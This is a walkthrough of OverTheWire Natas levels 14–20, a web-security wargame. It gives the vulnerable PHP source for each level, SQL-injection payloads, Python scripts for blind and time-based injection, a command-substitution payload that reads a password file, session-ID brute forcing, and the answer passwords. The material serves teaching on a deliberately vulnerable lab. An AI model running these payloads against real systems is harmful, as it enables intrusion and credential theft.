The Natas wargame is part of OverTheWire and focuses on web security challenges. This post covers Levels 14 – 20, with hints, answers, and explanations to help you understand the thought process, not just the final solution.
Each level introduces a new vulnerability — from basic HTML inspection to SQL injection, XSS, command injection, file inclusion, and authentication flaws. The goal is to find the password for the next level by analyzing and exploiting the web application.
Natas Level 14 → Level 15
(Updated: 13 August 2025)
Credentials
- Username:
natas14
- Password:
z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ
Connection
Level url: http://natas14.natas.labs.overthewire.org/
Steps to Solve
- Step 1 - This level require us to do some SQL Injection. First look at the source code ->
View sourcecode
. - Step 2 - We can see the PHP code:
<?php
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas14', '<censored>');
mysqli_select_db($link, 'natas14');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysqli_num_rows(mysqli_query($link, $query)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysqli_close($link);
} else {
?>
Focus on this line:
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
We can base on this line, to do SQL Injection attack
- Step 3 - Add the
username: anything
andpassword: anything" or "1" = "1
the$query
will become:
SELECT * FROM users where username="anything" and password="anything" or "1" = "1"
By this, the WHERE condition is always true and return all rows in the table users
.
- Step 4 - Submit the username and password so you can get the password for the next level.
- Step 5 - Take the password to the next level.
Next Level Password
SdqIqBsFcz3yotlNYErZSZwblkm0lrvx
Natas Level 15 → Level 16
(Updated: 14 August 2025)
Credentials
- Username:
natas15
- Password:
SdqIqBsFcz3yotlNYErZSZwblkm0lrvx
Connection
Level url: http://natas15.natas.labs.overthewire.org/
Steps to Solve
- Step 1 - Click
View sourcecode
and we can see thephp
code:
<?php
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas15', '<censored>');
mysqli_select_db($link, 'natas15');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysqli_close($link);
} else {
?>
- Step 2 - You can see that we can just know if the user exists and cannot get the password directly. Therefore, we have to
brute-force
it. - Step 3 - Based on the idea, you can try add the
username: natas16" OR "1" = "1
we can getThis user exists.
. - Step 4 - Use the
python
code that I created to brute-force the password.
import requests
import string
url = "http://natas15.natas.labs.overthewire.org/index.php"
auth = ("natas15", "SdqIqBsFcz3yotlNYErZSZwblkm0lrvx") # Change the password if needed
charset = string.ascii_letters + string.digits # a-z, A-Z, 0-9
found = ""
# Brute-force the password
print('Start brute-forcing!!')
for i in range(1, 33):
for ch in charset:
payload = f'natas16" AND password LIKE BINARY "{found + ch}%" -- '
# Send request
res = requests.post(url, data={"username": payload}, auth=auth)
# Check response
if "This user exists." in res.text:
found += ch
print(f"[+] Found so far: {found}")
break
print(f"\n[✅] Final password for natas16: {found}")
- Running the code you will get the result:
- Step 5 - Take the password to the next level.
Next Level Password
hPkjKYviLQctEW33QmuXL6eDVfMW4sGo
Natas Level 16 → Level 17
(Updated: 14 August 2025)
Credentials
- Username:
natas16
- Password:
hPkjKYviLQctEW33QmuXL6eDVfMW4sGo
Connection
Level url: http://natas16.natas.labs.overthewire.org/
Steps to Solve
- Step 1 - Click
View sourcecode
and we can see thephp
code:
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
Now it has restricted more characters that require us to brute-force in order to get the password
- Step 2 - Use my
python
code in order to the correct password:
import requests
import string
url = "http://natas16.natas.labs.overthewire.org/"
auth = ("natas16", "hPkjKYviLQctEW33QmuXL6eDVfMW4sGo") # Replace with your real password
charset = string.ascii_letters + string.digits
found = ""
print('Start brute-forcing!!')
for i in range(1, 33):
for ch in charset:
payload = f'$(grep ^{found + ch} /etc/natas_webpass/natas17)'
res = requests.get(url, params={"needle": payload + "anything"}, auth=auth)
if "anything" not in res.text:
found += ch
print(f"[+] Found so far: {found}")
break
print(f"[✅] Final password for natas17: {found}")
- Idea:
grep ^guess /etc/natas_webpass_natas17
to guess the password through each characters until get the result
- Step 3 - Run the
python
code to brute-forcenatas17
password:
- Step 4 - Take the password to the next level.
Next Level Password
EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC
Natas Level 17 → Level 18
(Updated: 14 August 2025)
Credentials
- Username:
natas17
- Password:
EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC
Connection
Level url: http://natas17.natas.labs.overthewire.org/
Steps to Solve
- Step 1 - Click
View sourcecode
and we can see thephp
code:
<?php
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas17', '<censored>');
mysqli_select_db($link, 'natas17');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}
mysqli_close($link);
} else {}
?>
Now it doesn’t have any messages for us to know if we get the correct character.
- Step 2 - Use my
python
code in order to the correct password:
import requests, string
url = "http://natas17.natas.labs.overthewire.org/"
auth = ("natas17", "EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC")
charset = string.ascii_letters + string.digits # a-z, A-Z, 0-9
found = ""
for pos in range(1, 33):
for ch in charset:
payload = f'natas18" AND IF(BINARY SUBSTRING(password,{pos},1)="{ch}", SLEEP(5), 0) -- -'
r = requests.post(url, data={"username": payload}, auth=auth)
if (r.elapsed.total_seconds() > 5):
found += ch
print(f"[+] Found so far: {found}")
break
else:
raise SystemExit(f"No match at position {pos}, try a larger SLEEP or lower threshold.")
print(f"\n[✅] Final password for natas18: {found}")
- Idea:
sleep(5)
when find the correct character and checkr.elapsed.total_seconds() > 5
in order to get that character.
- Step 3 - Run the
python
code to brute-forcenatas18
password:
- Step 4 - Take the password to the next level.
Next Level Password
6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ
Natas Level 18 → Level 19
(Updated: 15 August 2025)
Credentials
- Username:
natas18
- Password:
6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ
Connection
Level url: http://natas18.natas.labs.overthewire.org/
Steps to Solve
- Step 1 - Click
View sourcecode
and we can see the really longphp
code, but focus on these:
$maxid = 640;
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}
return false;
}
We can see that the authentication based on the PHPSESSID
to determine if it is the admin.
- Step 2 - We have to create a
python
code to make requests with differentPHPSESSID
to thenatas18
in order to get the admin account. - Step 3 - Use my
python
code in order to get the admin PHPSESSID:
import requests
url = "http://natas18.natas.labs.overthewire.org/index.php"
auth = ("natas18", "6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ")
max_id = 640
for i in range(0, max_id + 1):
cookie = f"PHPSESSID={str(i)}"
headers = {'Cookie': cookie}
print(f'[+] Getting {cookie}')
response = requests.get(url, headers=headers, auth=auth)
if "You are logged in as a regular user" not in response.text:
print(f"\n[✅] Admin PHPSESSID is: {i}")
break
- Step 4 - Use
PHPSESSID = 119
to thecookie
of the browser to get the password. - Step 5 - Take the password to the next level.
Next Level Password
tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr
Natas Level 19 → Level 20
(Updated: 16 August 2025)
Credentials
- Username:
natas19
- Password:
tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr
Connection
Level url: http://natas19.natas.labs.overthewire.org/
Steps to Solve
- Step 1 - Try login with account
Username: test
,Password: test
. - Step 2 - Open
Dev Tools -> Application -> Cookies
you can see that the browser has cookie:PHPSESSID: 37342d74657374
. - Step 3 - Use CyberChef to decode that text
From Hex
. You get something like this74-test
. - Step 4 - Now try login with account
Username: admin
,Password: something
. Decode the textFrom Hex
, get344-admin
We can see that the ID has format id-username
so now we can try different ids
with admin
- Step 5 - Use the my
python
code to brute-force theids
and get the correcthex_data
.
import requests
url = "http://natas19.natas.labs.overthewire.org/index.php"
auth = ("natas19", "tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr")
max_id = 640
for i in range(0, max_id + 1):
value = f"{i}-admin"
bytes_data = value.encode('utf-8')
# Convert the bytes to a hexadecimal string
hex_data = bytes_data.hex()
cookie = f"PHPSESSID={hex_data}"
headers = {'Cookie': cookie}
print(f'[+] Getting {value}')
response = requests.get(url, headers=headers, auth=auth)
if "You are logged in as a regular user" not in response.text:
print(f"\n[✅] Admin PHPSESSID is: {value} / Hex Data: {hex_data}")
break
- Step 6 - Take the correct admin
hex_data
and change the cookie value in browser in order to get the password. - Step 7 - Take the password to the next level.
Next Level Password
p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw
Natas Level 20 → Level 21
(Updated: 16 August 2025)
Credentials
- Username:
natas20
- Password:
p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw
Connection
Level url: http://natas20.natas.labs.overthewire.org/
Steps to Solve
- Step 1 - In this level we cannot do brute-force
PHPSESSID
because it uses random keys. - Step 2 - Investigate the source code we can see that the most thing we have to do is set the
admin = 1
. - Step 3 - Add
admin%0Aadmin 1
toYour name
input and submit to get the password. - Step 4 - Take the password to the next level.
Next Level Password
BPhv63cKE1lkQl04cE5CuFTzXe15NfiH